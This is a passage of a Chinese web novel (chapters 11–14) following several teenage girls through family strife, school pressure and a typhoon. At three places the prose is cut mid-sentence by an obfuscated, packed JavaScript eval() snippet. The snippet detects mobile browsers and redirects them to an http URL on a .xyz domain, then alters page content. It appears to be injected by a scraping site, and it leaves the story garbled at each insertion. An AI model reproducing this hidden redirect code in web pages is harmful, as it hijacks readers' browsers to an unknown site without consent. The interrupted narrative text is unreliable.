其实甄美在更大更繁华的城市津城生活过，只是那时候她年纪小，没有留下多少记忆。 甄美说着已经重新坐到小板凳上看火，跳跃的橘色火光映在她娇嫩的脸上，像瓷娃娃般精致。 甄好侧头看着她一脸向往的表情，不知该如何回答，最后只是一言以概之：“还行。” “阿姐，我也要好好读书，像阿姐一样，去更大更远的地方看看。”甄美在温暖的火光下信誓旦旦地说出这句话来。 饭香在这时飘了出来，像在应和美好的憧憬，越飘越远。 “妈妈，我饿了！”甄黎奶声奶气的声音也随之传来。 “好好好，妈妈去叫姐姐给黎黎盛饭吃，好不好呀？”何允莲轻柔的嗓音落在姐妹俩耳朵里，带来一丝丝苦涩。 母亲的温柔从未给过她们。 饭桌上，何允莲追着活泼好动的甄黎从椅子上到门口，又追出了家门口，一口一个“黎黎”，耐心地哄着：“黎黎乖，黎黎要好好吃饭才能长高高……” 甄好和甄美安静地扒着饭，谁都没有开口说话。 饭后，姐妹俩回到自己的小屋里，趴在掉了漆的桌上写作业。 甄美才上二年级，没写几道题就开心心痒痒：“阿姐，我想看七仙女……” 《欢天喜地七仙女》热播的那一年，不知多少女孩被那漂亮的裙子和饰品偷走了心，甄美也是其中一个。 “要是能像仙女一样，自由自在地在天上飞翔，想去哪里便去哪里就好了。”甄美咬着笔杆幻想道。 甄好不忍心打破她对自由和美好的憧憬。 七仙女看似自由，实则满身是桎梏，连爱想爱的人都不能。 “我不在家的时候，饭都是你在做吗？”甄好答非所问。 “妈妈去做工挺累的。”甄美有些落寞地说道，“我做饭可以让妈妈多休息一会儿。” 甄好听得胸口有些发闷。 何允莲还在追着甄黎喂饭，家里那台大屁股彩色电视机就放在她们房间门口的小客厅。 甄好拉起妹妹的小手，蹑手蹑脚地来到客厅。她小心翼翼地给电视剧插上电，像以往的每一次那样，她负责打开电视剧，甄美同时负责按下静音键，姐妹俩用这个方法看了一部又一部热播剧。 也有被何允莲发现的时候，比如这一次。 “死丫头，又看电视！电费你们交啊？”何超莲端着甄黎没吃完的饭碗，大踏步冲进客厅。 几乎是下意识地，甄好再次拉起妹妹的手，两人撒开腿就往大门的方向跑去。 只要逃过当下，等何允莲气消了，她们就能躲开一顿臭骂。 何允莲嗓门大归大，却更像纸老虎，只会对着她们姐妹骂天骂地，从不会动手。 这是甄好这些年来摸索到的规律。 等她们再回到家的时候，何允莲已经带着甄黎回屋睡觉了。 厨房里的碗筷一个也没洗，姐妹俩分工干完活，甄美已经困得脑袋直点，像小鸡啄米似的。 “阿姐，我困了，想睡觉了。”甄美揉着眼睛看甄好。 “回屋睡吧。”甄好给她擦干净手，说道。 甄美刚躺下没多久就睡着了，甄好却没有睡意。 她坐在开着小台灯的书桌前，拿出纸笔，写下了一首百来字的现代诗。 11. 时家的不速之客 天气多变，心情也跟着多变。 希望有朝一日，我们都能勇敢地表达“不要”和“不喜欢”。 ——《甄好日记》 沿海城市的台风天是有台风假的，时序在回家的路上还一直可惜怎么这号台风正好于周末登陆，不然他们就可以多放两天假了。 一路上迎着风，他将自行车骑得飞快。 顺风让他有了飞翔的错觉，心早就随着风回到了家里。 他很喜欢回家，喜欢到家里的果园上蹿下跳，喜欢上山下河捉知了捉鱼虾。 乡野闲趣总是比县城里的游戏厅别有一番风味。 他的快乐同样止于见到母亲。 同一个时空，不同的烦恼每天都在发生。 时序在自家门口看到了一辆光看外表就价值不菲的黑色车子，他捏着双肩包带子的手不自觉微微用力。 见到儿子的一瞬间，时谙脸上闪过一丝不知所措，手不自觉地推搡着身边的男人：“我就不留你吃饭了。” 可两人之间的动作一看就不是普通关系，时序不是三五岁的孩童，一眼就能看出些许端倪来。 不过他什么都没说，却也不像平时那样礼貌地问候客人，只是一脸探究地看着那个陌生叔叔。 片刻的沉默过后，时谙率先反应过来：“小序，快向叔叔问好，不可以这么没礼貌，知道吗？” 从时序进门开始，裴延东的目光就没从他身上移开过，此时时谙开口，他才回过神来：“这就是小序啊，都长这么大了。” 他说着就要去摸时序的头，却被躲开。 “小序，不可以——” 时谙的话被时序打断：“不可以这么没礼貌，我知道。叔叔好，这下满意了吗？” 时序说完将书包一甩，跑进了自己的房间。 “这孩子……”时谙面上的窘迫更甚。 “没关系，小孩子都这样，慢慢来。”裴延东安抚她，“你和小序快准备吃饭吧，我先回去了，下次再来看你们。” 时谙没说什么，只是目送他走出家门，又看着他开车离开自己的视野。 她没想过这么早让时序跟裴延东见面的，可是人算不如天算。 方才如果不是她不小心弄脏了裴延东的衬衫，他就可以早些离开，就不会被时序撞上。 时谙回头不安地看了一眼儿子的房门，心头愁绪万千。 “小序，洗手吃饭了。”思索再三，时谙还是决定当作什么都没发生，权当裴延东只是一个普通的客人。 让她没想到的是，时序出现在饭桌上时竟是一副若无其事的样子，那神情看起来无比坦然。 时谙试探性地给他夹了一块排骨：“妈妈特意做了你爱吃的糖醋排骨。” 时序没有拒绝，夹起碗里的排骨就往嘴里送。 若要说他与平时有什么不一样，那便是话少了，不再像以往的每次放学，叽叽喳喳地跟她分享学校趣事。 时谙的心忍不住一沉，半晌才踌躇道：“小序，刚刚……” 时序却打断了她：“妈，吃饭吧，我好饿。” 这不是时序第一次见到那个男人。 他低下头默默地扒饭，不想去回想那些刻意被自己隐藏起来的记忆。 鄢家。 饭桌上，除了鄢成舟故意发出的声响，安静得可怕。 “云书，在学校还习惯吗？”是鄢识先开口打破的沉寂。 “挺好的，爸。”鄢云书垂下眼眸，慢吞吞地吃着饭菜。 明明母亲做的饭菜色香味俱全，她吃起来却味同嚼蜡。 “听你们老师说，下周有个物理竞赛，有把握吗？”鄢识又问道。 他是闽大的大学教授，与安南三中的不少老师都是同学，想打听点什么都很方便。 在刺桐村这样的小地方，能出个大学生就已经是光耀门楣的大事，遑论大学教授。 是以，鄢识备受乡里乡亲们的尊敬和爱戴。 “爸——”鄢云书欲言又止。 “怎么不说了？”鄢识凌厉的目光扫过女儿的脸，等待着她的下文。 鄢云书在他的威严下吞回了真正想说的话，改口说：“我会努力的，爸。” 其实她不想参加物理竞赛，她根本就不喜欢物理，可是她不敢说。 “光努力不够，要给自己定一个目标。”鄢识给她夹了一只鸡腿放到碗里，“比如要有拿第一名的野心。” 鄢云书看着父亲家给自己夹的鸡腿，觉得心口有些堵得慌。 她不爱吃鸡腿，可她从未表达过，每一次都乖乖把鸡腿吃得干干净净，久而久之，父母都认为她喜欢。 就像她讨厌没完没了的学习和竞赛，但她不说，父亲也就认为她喜欢。 她是父亲眼里的好女儿，是老师眼中的好学生，是别人家的孩子，独独不是她自己。 “知道了，爸。”她像每一次一样，默默地承受父亲施加的压力。 “吃饭呢，别说这些有的没的了。”许君瑶说着给女儿夹了一筷子胡萝卜，又倒了一杯鲜榨橙汁，“云云，喝这个，有营养。” 许君瑶是市里的妇产科医生，这个周末难得碰到休假。 “谢谢妈。”鄢云书抬头冲她笑了笑。 “成仔，你也喝一杯，不够还有。”许君瑶又对儿子说。 “我不喜欢喝这个，我要喝可乐，可乐！”鄢成舟却不买账。 “可乐喝多了对身体不好，乖，喝橙汁。”许君瑶说着又把装满橙汁的杯子往他手边推了推。 “说了不喝就是不喝！”鄢成舟用力一推。 “砰”的一声，玻璃杯摔在地上，橙黄色的汁液流了一地。 许君瑶见状赶紧俯身就要收拾，却被鄢识叫停：“阿瑶，谁打碎的谁收拾。” 鄢成舟却不为所动。 鄢识的声音很平静：“鄢成舟。” 看着父亲不怒自威的模样，鄢成舟这才不情不愿地去拿工具扫地。在这个家里，能够制得住他的人也只有鄢识了。 对于这种场面，鄢云书早就见怪不怪了，在其他人因为一杯橙汁而弥漫起看不见的硝烟时，她依旧吃着自己不爱吃的鸡腿和胡萝卜，喝着自己讨厌的橙汁。 哪怕她又长大了一岁，也不敢像弟弟一样大声说“不喜欢”。 她艰难地吃完碗里的食物，才敢说：“爸、妈，我吃饱了。” 然后等来她熟悉的两句话。 许君瑶说：“碗放着，妈来洗。” 鄢识说：“爸爸给你买了两套物理竞赛题，放在书房了，你去看看。” “知道了。”鄢云书乖巧地应道。 距离甄家两公里之外的周家爆发了不一样的家庭战争。 “我不想读书了！我要跟着堂哥去外省打工！”周容安在饭桌上摔了筷子。 周淳芮夹红烧肉的手一抖，心怀同情地看了一眼哥哥。 果不其然，大人的怒火劈头盖脸：“你个混账玩意儿，你再说一遍？你才初二，不上学你能干什么？啊？给别人扶梯子都嫌你个子矮。” “反正我就是不想读书了！”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557332|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容安丝毫不畏惧父亲，梗着脖子反驳。 周振海气得声音都在发抖：“这学你上也得上，不上也得上。你当老子的钱是大风刮来的啊？学杂费交都交了，你跟我说你不上了？学校给退吗？啊？你个死脑筋的！你也不看看乡里多少小孩想上学都没机会，不知道珍惜的混账东西！” 周振海越骂越来气，骂到最后手指直接指到了周容安的鼻子上。 眼见情况不对劲，周淳芮忙放下准备继续夹肉的筷子，坐到周振海身边，挽着他的胳膊撒娇道：“爸，我有事求您您都看不到我，我不开心了。” 她一边说一边对周容安使眼色，让他赶紧先消失，毕竟事缓则圆。 周容安深知妹妹最有办法对付父亲，接收到她传递的信息立刻溜之大吉。 周振海最疼这个女儿，见她一副受了委屈的模样就心疼得不行：“芮芮你可冤枉爸爸了，你刚刚求爸爸什么了？” 莫非是他老了，他真没听见。 “就是我……”周淳芮迅速头脑风暴，方才她那样说只是为了先稳住父亲，实际上她什么都没求，这会儿被周振海这么一问，“我”了半天都没说出下文。 岂料周振海直接给她递了答案：“芮芮是不是又想买漂亮的新衣服了？” “啊！”周淳芮顿时眉开眼笑，“对对对，天气冷了，我没衣服穿了。” “要多少钱？”周振海说着就去掏钱包。 周淳芮看着他那鼓鼓囊囊的钱包，试探性地伸出两根手指：“二……” 她还没说完周振海就抽出两张百元大钞递到她手里：“二百元是吧？来，拿去，喜欢什么咱就买什么。” 周淳芮：“……” 其实她想说的是二十元。 但既然她爸如此大方，她也就却之不恭了。 “谢谢爸，爸最好了！”周淳芮说着在周振海脸上重重地亲了一口。 一直保持沉默的周容堇幽幽开口：“爸，我也没衣服穿了。” 周振海看了他一眼，略显嫌弃地说道：“去去去，一边去。男孩子买那么多衣服干什么，做花脚蚊子啊？” 周容堇：“……” 他早知自己在这个五口之家是最没地位的，但没想到会没地位到此等地步。 周淳芮憋笑憋得脸都红了，得到来自弟弟的一记大白眼。 吃过晚饭又歇了会儿，周淳芮感到有些无聊，便一个人溜达到了甄家。 她绕到甄好的房间，轻轻敲了四下窗户。 这是她们三人之间的暗号。 甄好刚好写完那首现代诗的最后一个字，听到声音蹑手蹑脚地出了房间。 “怎么了？”她有些意外周淳芮这个时间点来找自己。 “云云肯定又被她爸关起来做题了。”周淳芮光想想都觉得鄢云书命苦，“做题多无聊啊，我们去找她吧！” “好。”甄好对此没有异议。 鄢云书家离她们的家有点距离，走路需要十五分钟的样子。 两人边聊边走，时间一下子就过去了。 她们站在鄢家的小院外，果真看见鄢云书的房间透出灯光来。 走到窗口下，周淳芮关掉一路用来照明的便携手电筒。 她踮起脚尖，像刚刚敲甄好的窗口那样敲了四下。 她们等了片刻，见没等来鄢云书，周淳芮又敲了四下。 “难道是没听到？”她疑惑地自言自语。 就在她准备敲第三次的时候，一道略显严肃的声音在她们身后响起：“你们在干什么？” 12. 不需要跟我道歉 今日台风即将登陆，树与电线杆都开始飘摇。 破碎的碗碟就如破碎的童年，在风声里渐渐远去，却从不会消失。 ——《甄好日记》 两人被突然响起的声音吓了老大一跳，周淳芮握在手里的手电筒差点掉在地上。 看清来人是谁后，周淳芮立刻笑容乖巧地喊人：“鄢教授晚上好。” 甄好也跟着喊：“鄢教授好。” 鄢云书的父亲喜欢被人这样叫，她们是再清楚不过的。 果然，鄢识神色稍缓，却依旧目光如炬，一一扫过两个人的脸，眉头紧锁，一脸严肃地问道：“你们找云书？” “对啊，云云学习好，我们想请教她一些题目。”周淳芮随口扯了个谎。 鄢识对鄢云书十分严格，她们自然知道，只有这样说他才不会觉得自己的女儿玩物丧志。 然而鄢识说出口的话极尽伤人：“周同学，希望你以后少来找我们家云书，她将来是要考全国排名前三的大学的，而你……” “爸！”鄢云书及时出现，制止了他后面更伤人的话，“我跟她们说两句就继续回去做题，可以吗？” 鄢识冷着一张脸，但到底还是松口了：“别聊太久。” “知道了，爸。”鄢云书对父亲说过最多的话就是“知道了”三个字。 见鄢识转身回到屋里，鄢云书才小跑着来到甄好两人面前。 “对不起啊，芮芮，你别听我爸说的。”鄢云书向周淳芮道歉。 “嗐，多大点事。”周淳芮无所谓地摆摆手，“云云，你没错，不需要跟我道歉。” “可是……”鄢云书还是觉得心里过意不去。 “真的没事。”周淳芮再度强调，“你没错。” “芮芮，我突然想起来我有事需要你帮我。”甄好看了一眼一脸为难的鄢云书，话却是对着周淳芮说的，“很急。” “啊？”周淳芮看了看鄢云书，又看了甄好一眼，“那云云，我们先走了啊。” “好，周日下午老地方见。”鄢云书不着痕迹地松了一口气。 她说的老地方是小镇人民都知道的那棵巨大的榕树下。 “好呀好呀，周日见！”周淳芮一边走一边回头冲她招手。 鄢云书看着两人离去的身影，有些落寞地叹了口气，而后认命地转身回屋继续做题。 往家走的时候，周淳芮兴致勃勃地问道：“好好，你有什么急事需要我帮忙啊？” “芮芮，其实我没有什么急事需要你帮忙的。”甄好道。 “那你为什么……”说到一半，周淳芮才猛地反应过来，“哦，我知道了，瞧我这脑子，差点给云云添麻烦了。” 她只想着自己无聊，想找鄢云书解闷，却从未替对方想过。 “好好，幸好有你，不然云云肯定该挨骂了。”周淳芮的语气有些懊恼，“我怎么就想不到这么多呢？” 甄好侧头看了她一眼。 其实她很羡慕周淳芮对很多事情都会慢半拍的性格，不敏感的人内心总是明亮些，也快乐些。 “没事的，云云不会怪我们的。”甄好垂下头仔细看路，避免踩到什么突然窜出来的小动物，“我们回家吧。” 楼紫巷。 楼家。 喻玲三人到达楼家的时候，楼知夏一家四口正好吃完晚饭。 “你们等我一下，我洗个碗就和你们出去。”楼知夏冲坐在客厅里的好友们说道。 “夏夏，你去吧，我来洗碗。”楼珈宁拦住她走向厨房的脚步。 “阿姐，可中午的碗也是你洗的。”楼知夏没有马上答应。 楼珈宁是养女这件事不是什么秘密，她被领养的时候已经七岁，早就拥有记忆。 彼时同样是七岁的楼知夏很开心自己和别人一样有阿姐了，经常拉着她到处玩。 楼母生楼知夏的时候身子受了严重的损伤，这辈子都没机会再怀孕，领养楼珈宁却是楼家夫妻意料之内的事情。 包括楼珈宁也心知自己来到楼家的使命是什么。 相比心思单纯的楼知夏，她要显得更沉稳冷静，心事也更多。 楼知夏不是那种恃宠而骄的性格，长大后知道姐姐是养女非但没有欺负她，反而更加心疼她。 就连家务分工都是楼知夏主动提出来的，她不希望阿姐因为养女身份而觉得在楼家低人一等。 “咱们之间还分一次两次洗碗吗？”楼珈宁笑着推了推她，“去吧，家里交给阿姐。” 楼母身体不好，每天给她们姐妹俩做饭已经很辛苦了，楼父则早出晚归，支撑起整个家庭的开支。 好在两个女儿都很懂事，不论是学习还是生活都不太需要他们操心。 楼母晾完衣服回来看到姐妹俩温馨有爱的一幕，满是欣慰。 她也赶忙道：“是啊，你快去吧，别让你同学们等久了。家里有我们呢。” “那好吧。”听到母亲也这样说，楼知夏这才放心地走去客厅，和她们三人先后出了家门。 路过楼紫巷1010号时，楼知夏不自觉多看了两眼。 屋里没有亮灯，秋先生不在。 “夏夏，你看什么呢？”喻玲发现楼知夏一直盯着某一处看，不禁有些害怕，“你别吓我。” 楼知夏顿时回过神来：“没看什么啦，你胆子怎么那么小？” 她从未告诉过别人自己与秋家的关系，毕竟秋家的地位是那样尊崇，说出来也不会有人信。 “夏夏是在看秋先生的家？”欧阳雅美眼睛尖，捕捉到了楼知夏目光所在之地，“秋先生挺儒雅的，就是很少在家。” “嗯，对啊，我偶尔会听他唱南音，虽然听不懂，嘿嘿。”楼知夏附和道。 “我也听不懂，不过听起来蛮有味道的。”欧阳雅雅接话道。 “听说秋先生最近在收徒？”欧阳雅美插话。 “你是听说那个谁也去了秋先生那里学南音吧？”喻玲调侃道。 “玲子，你又瞎说！”欧阳雅美突然不好意思起来。 “虽然但是，姓陆的那小子其实长得真可以，别不好意思承认喜欢他。”喻玲轻轻用手后肘撞了一下欧阳雅美。 陆星湛在学校还挺出名的，不过是以体弱多病出名的，人称“中药小王子”。 很中二的外号，却很符合他。 只要在他方圆三米之内，必然能够闻到他身上淡淡的草药味。 不难闻，却也谈不上好闻。 学校里人人都在猜测他到底患的是什么病，但无一不是没有结果。 “阿姐，要我说啊，你还是别喜欢他了。”欧阳雅雅真诚地建议道。 “为什么这么说？”欧阳雅美看向她。 “你看他那身体，太孱弱了。”欧阳雅雅口不择言道，“万一哪天人突然不在了，阿姐你该多伤心。” “欧——阳——雅——雅——”欧阳雅美拖长音调，语气不善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557333|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地喊她的名字，“你信不信我掐死你？啊？” 在她一个字一个字喊自己的时候，欧阳雅雅便立刻快速朝前跑去，不给她收拾自己的机会。 “我开玩笑的啦，女侠饶命！”她一边跑一边求饶。 “别闹了，别闹了。”喻玲跟在她们后面小跑，“我家快到了，一会儿雅雅你可是主角。” 楼知夏这才反应过来她们找自己是所为何事，她很想退出这场针对甄好的恶作剧，可喻玲已经在前方喊她：“夏夏，快过来呀，我在家里准备了很多好吃的。” 不得已之下，她只好硬着头皮跟上。 甄好不知道别人的周末是怎么过的，但肯定不是像她一样度日如年。 周六一大早，她便早早起床准备一家五口的早饭。 其实她很困，很想睡到自然醒，可连这样小小的心愿她都无法达成。 在家里，她不能睡懒觉，时间久了，她从不能睡懒觉变成不敢睡懒觉。只要时间一到，她就会从睡梦中惊醒，生怕下一秒就听到母亲的大嗓门。 而妹妹甄美也会在她洗漱完毕时，睁着迷蒙的双眼晃到她身边：“阿姐，我好困。” 已经洗好脸的甄好困意消散了不少：“你再去睡会儿，妈要是醒了我去叫你。” 甄美却摇了摇头：“不行，等下妈会骂你的。我刷完牙洗完脸就去帮阿姐忙，阿姐等我哦。” “好。”也只有在这种时候，甄好才对回家有那么一点期待。 她一边讨厌着妹妹，一边又庆幸有妹妹相陪。 这种复杂的情感困扰了她很多年，她唯一可以确定的是，她希望自己和妹妹都能够越来越好，脱离这个小地方，去到更好的城市生活。 一高一矮两道身影在晨光熹微里屋前屋后地跑着，连笑都不敢太大声，生怕吵醒还在梦乡的母亲和弟弟。 甄好却爱极了这种幸福的宁静，没有车水马龙叨扰人心，只偶尔传来几声鸡鸣鸟叫，像极了陶先生写的世外桃源。 只可惜这样的平静没有持续多久，一声刺耳的碗碟破碎声打破了如镜的水面。 紧接着，何允莲骂骂咧咧的声音响起：“大早上的干什么？拆家呢？啊？吵醒你们弟弟了知不知道？” 事实上，甄黎依旧熟睡，并未被声响吵到。 何允莲来到厨房，看到地上的碎瓷片，顿时就恼了，嗓音又拔高几分：“做个饭你们摔碗？不知道拿稳点？碗不要钱吗？啊？真是钱没往家里拿一分，花倒是上赶着。起开，碍手碍脚的！” 她走近灶台，看着已经做好的饭菜，脸色非但没有缓和，反倒变本加厉：“这粥都快变饭了，让人怎么吃？啊？做了这么久的饭，连粥都煮不好，真是白养你们了！” 甄美有些害怕地戳在厨房门口，一句话都不敢说。 不管发生什么，不管她们姐妹俩说什么，换来的只会是何允莲更加愤怒的谩骂。 甄好亦是什么都没说，只是默默地清扫好碎片，便自觉地去喂养家禽了。 看着鸭子们争先恐后吃食的时候，她喃喃自语：“你们知道自己的命运就是养肥了然后被宰杀吗？” 一定不知道吧，否则为什么吃得这样开心？ 可话又说回来，人明明知道自己会死，为什么还要那样努力地活着？ 甄好想不明白。 她抬头看着天，心里的恐惧随着台风云的积聚而慢慢加深。 台风登陆的时刻，便是甄家难过之时。 13. 你那没用的爸爸 台风登陆的那一刻，我的心前所未有的潮湿。 ——《甄好日记》 甄好提着喂鸭子的空桶往前院走去时，迎面碰上了甄奶奶。 “奶奶起这么早啊。”甄奶奶从小就疼她们，姐妹俩也跟她感情好，“怎么不多睡会儿？” “年纪上来了，睡不了那么多咯。”甄奶奶看了一眼她手里的空桶，又望了一眼大房的方向，意有所指道，“哪像有些人啊，一点也没有做人妈妈的样子，都什么时候了还在睡，孩子不用吃饭能自己长大是不是？” 她故意提高的音量是说给谁听的，不言而喻。 何允莲一向与甄奶奶不睦，甚至连邻里邻外都看得出来，更别说自家人。 甄奶奶说完，又教甄好：“你还在长身体，早上就该多睡会儿，喂鸭子这种事交给你妈就好了。做人家儿媳妇没有个儿媳妇样，真是不像话！” 饶是对着孙女，甄奶奶也丝毫不掩饰对何允莲的不满。 甄好早就习惯了，婆媳关系好像自古就是个难题，不仅电视剧不厌其烦地上演着，生活中只会更离谱。 何允莲显然听见了甄奶奶的念叨，嗓门比平时又高了几分：“老人家该吃吃，该睡睡，别瞎操那么多心。” 她话音刚落，一阵狂风袭来。 风卷着前庭那几棵高大的龙眼树，似是要将其连根拔起。 甄家的房子还是传统的闽市古厝，红墙红瓦，雨还未至风先将瓦片吹动了位置，窸窣作响。 台风快要登陆了。 “阿砰，快去拿水桶准备接雨水。”甄奶奶也听到了瓦片的异动，忙指挥甄好。 听见奶奶又叫自己的小名，甄好不满道：“奶奶，不要叫我的小名。” “好好好，不叫不叫。”甄奶奶笑呵呵地轻拍了一下她的后背，“好好乖，多拿几个盆啊桶的，叫上阿美一起帮忙。” “可怜我那刚长出来的小菜苗要遭殃了。”甄奶奶不无可惜地说道，“还有那刚结了小果的南瓜……” 她一边摇头一边走去菜园子，想看看能不能做点什么以降低风害。 甄好看着奶奶步履轻盈的身影，却无端感到一股无形的压力正沉沉地压在老太太肩上。 她快步跑进屋，去几个屋里转了转后，果真在偏房看到顶上有块瓦片移了位，一丝光亮直直地穿过那处缝隙。若是下了雨，将变成连线的珠子，滴滴答答落个不停。 甄好将手里的洗脸盆放到缺口正下方，以作接雨水用。 “阿姐，大厅的屋顶也有一处。”甄美的声音不远不近地传来。 “来了。”确定放置的位置没有偏移后，甄好跑向大厅。 姐妹俩将全屋都检查完毕后，这才回到厨房准备吃早饭。 甄好的眉头却始终没有松开，她根本没有胃口。 她最期待也最害怕的天气还是要来了。 期待是因为台风有台风假，但前提得是在学校；至于害怕……根本不用多说，头顶随时可能被吹飞的瓦片足以说明她所有的恐慌源自何处。 连一个遮风挡雨的安稳住所都没有，要她如何安心？ 潮湿的屋檐下，见证了两个女孩子潮湿的童年。 下午14时，第18号台风“赤荔”在台市幽兰县沿海登陆，随后穿过台岛，于闽市沿海第二次登陆，登陆时强度达台风级。多个省份受台风“赤荔”影响，未来24小时降雨量将持续上涨，防洪等级一升再升。 姐妹俩刚看新闻了解完最新台风动向，老式彩电的屏幕就彻底暗了下去。 停电了。 甄好已经见怪不怪了。 停电是台风天的必修课，不停反倒会让她觉得不习惯。 她听着偏房和大厅里滴滴答答的雨水，第一次觉得像是旋律优美的曲子，有些催眠。 榉头那间屋子现在是姐妹俩住的房间，但严格说起来这不是属于她们的。 甄奶奶一共有三个儿子，两个女儿，除了小儿子，其他孩子均已成家。 榉头是甄奶奶小儿子的房间，也就是甄好姐妹俩的三叔。他一年到头都在外面跑业务，只有春节才会回家住几天。 停电外加风大雨大，甄好和甄美坐在房间门口，看着雨从天井落下，一滴一滴，在地上跳跃又回落。 幸好这次台风并未对处于沿海内陆的闽镇造成什么实质性伤害，甄好担忧的事情也没有发生。 她总在台风的夜里做噩梦，梦见家里的屋顶整个被大风掀翻，瓢泼似的大雨倾倒而下，将她整个人埋在浑浊的水下，强烈的窒息感包裹住她的眼耳口鼻，她却怎么挣扎都无济于事。 无法浮出水面，也无法醒来。 人类恐怖某件事情总归是有原因的，甄好怕雨，也怕水。 怕雨和怕水都跟人命有关，都是她不愿回想的悲惨往事。 任何事都有雨过天晴的时候，逝去的人却再也不可能回来。 周日这天，风停雨歇，彩虹高高地挂在天边。甄好却没有心情欣赏，而是像以往的每个周末，将供奉爷爷牌位的桌子仔仔细细地抹一遍。 做完这一切后，她会站在甄爷爷的遗像前看上许久，任凭回忆发散，任由泪水滑落。 “爷爷，我要去上学了，我会努力的。”离开前，甄好在心里默默说道。 学校周日有安排晚自习，从晚上七点上到十点钟。 她必须在四点半左右从家里出发，才能有足够的时间赶上。 眼看时间已经来到四点，何允莲却丝毫没有要给甄好生活费的举动，她不禁有些着急。 她不喜欢这种被动等待的感觉，无助又无力。 再有二十分钟，她就该前往榕树下和鄢云书她们集合了。 她只能硬着头皮找到何允莲：“妈，这周的生活费……” 何允莲不耐烦地瞪了她一眼，一开口就是抱怨：“生活费，生活费，张口闭口就是钱！你怎么不问你那没用的爸爸要？！这个月一分钱都没有寄回家，我一个人要养你们三张嘴，真是不知道上辈子造了什么孽，要嫁给你那个死鬼老爸！” 甄好双手紧紧握成拳，红着眼圈听她一句接一句的数落，却半个字都说不出口。 父亲甄东成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557334|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常年在外省讨生活，说得好听点是做点小生意，其实连养家糊口都困难。 家里条件不好，甄好心里一直很清楚，可她就是憋着一口气，想要靠读书改变窘迫的生活，所以一次次咬紧牙关去应对任何可能出现的困难。 “妈，我上学快来不及了……”面对何允莲的怨言，甄好选择过滤掉，只争取自己想要的，“能不能先给我二十块钱，求你了……” 二十块钱，是甄好一周的生活费，包括一日三餐和饮水，也包括应付一切可能出现的意外状况。 比如自行车破胎维修。 她要用二十元承受生活中的所有常规或不常规的事件。 十三岁的甄好，因为生活的窘迫，因为与他人条件的差距，早早就萌生对成功和金钱的渴望。 “拿去，拿去！”何允莲将二十元纸币粗暴地塞进甄好手中，脸上的表情只有嫌弃，再无其他。 甄好努力忽视她的表情，用力攥紧那有些旧了的纸币，咬着嘴唇说道：“谢谢妈，我先去上学了。” 她抬脚走后，何允莲又在她身后说了些什么她已经不想再去听。 有些话，只要不听，心里多少会好受些。 因为要生活费，甄好耽搁了几分钟，四点三十五分才到达榕树下。 这是她第一次迟到，周淳芮看她脸色有些不好，有些担忧地问道：“好好，你没事吧？” 甄好摇了摇头：“我没事。云云呢？” 说到鄢云书，周淳芮也觉得奇怪：“咱们仨就数你俩最有时间观念了，结果今天你们一个两个都迟到。” “可能有什么事耽误了吧，我们再等等。”甄好看了一眼MP3上的时间，“还早，不着急。” “嗯，也只能这样了。”周淳芮坐在单车座椅上，百无聊赖地伸手扯了一片头顶的榕树叶。 经过一场大雨的洗礼，叶子绿得发亮，上面还有晶莹的水珠，滑落到她手里，凉凉的。 “好好，我又新得了几首好听的歌，等到了学校，我们去找店老板帮忙下载！”等待的间隙，周淳芮没话找话说。 “好啊，听你的。”甄好对听歌没有特别的喜好，她只是喜欢将世界用歌声隔绝的那种感觉。 “云云怎么还不来啊？”周淳芮不断地往她们来时的路张望着，“该不会出什么事了吧？” 她们三个只有周淳芮有一部小灵通手机，偏偏她忘记充电了，没办法给鄢云书家的座机打电话。 甄好也有些着急起来。 “这都五点钟了，真是急死人了。”周淳芮明显开始变得不安。 甄好提出猜测：“可能是鄢教授开车送她去学校了吧。” 鄢云书家是十里八乡难得拥有小轿车的家庭，没有给她配备手机，是因为鄢识认为那东西会影响女儿学习。 “的确有可能。”周淳芮赞同地点了点头，并提议，“那我们先走？也许云云已经到学校了也说不定。” 甄好同意：“先这么办吧。” 没能等到鄢云书的两人一前一后骑着单车，在风的拥抱下，蹬向未知的远方。 14. 睡觉都那么张扬 今日天气很好，心情也很好。 我会永远记住那支没有笔帽的黑色水性笔。 ——《甄好日记》 由于下过雨，甄好两人比平时骑得慢一些，又因为多等了鄢云书半个小时，所以到达寝室的时候已经是晚上六点半。 她们匆匆忙忙地上了个厕所，晚饭看样子是来不及吃了，周淳芮只好从自己的柜子里拿出三个面包和三瓶牛奶，并递给甄好一份：“先拿这个对付一下，下了晚自习再去食堂吃点夜宵。” 甄好有些犹豫，没有马上接。 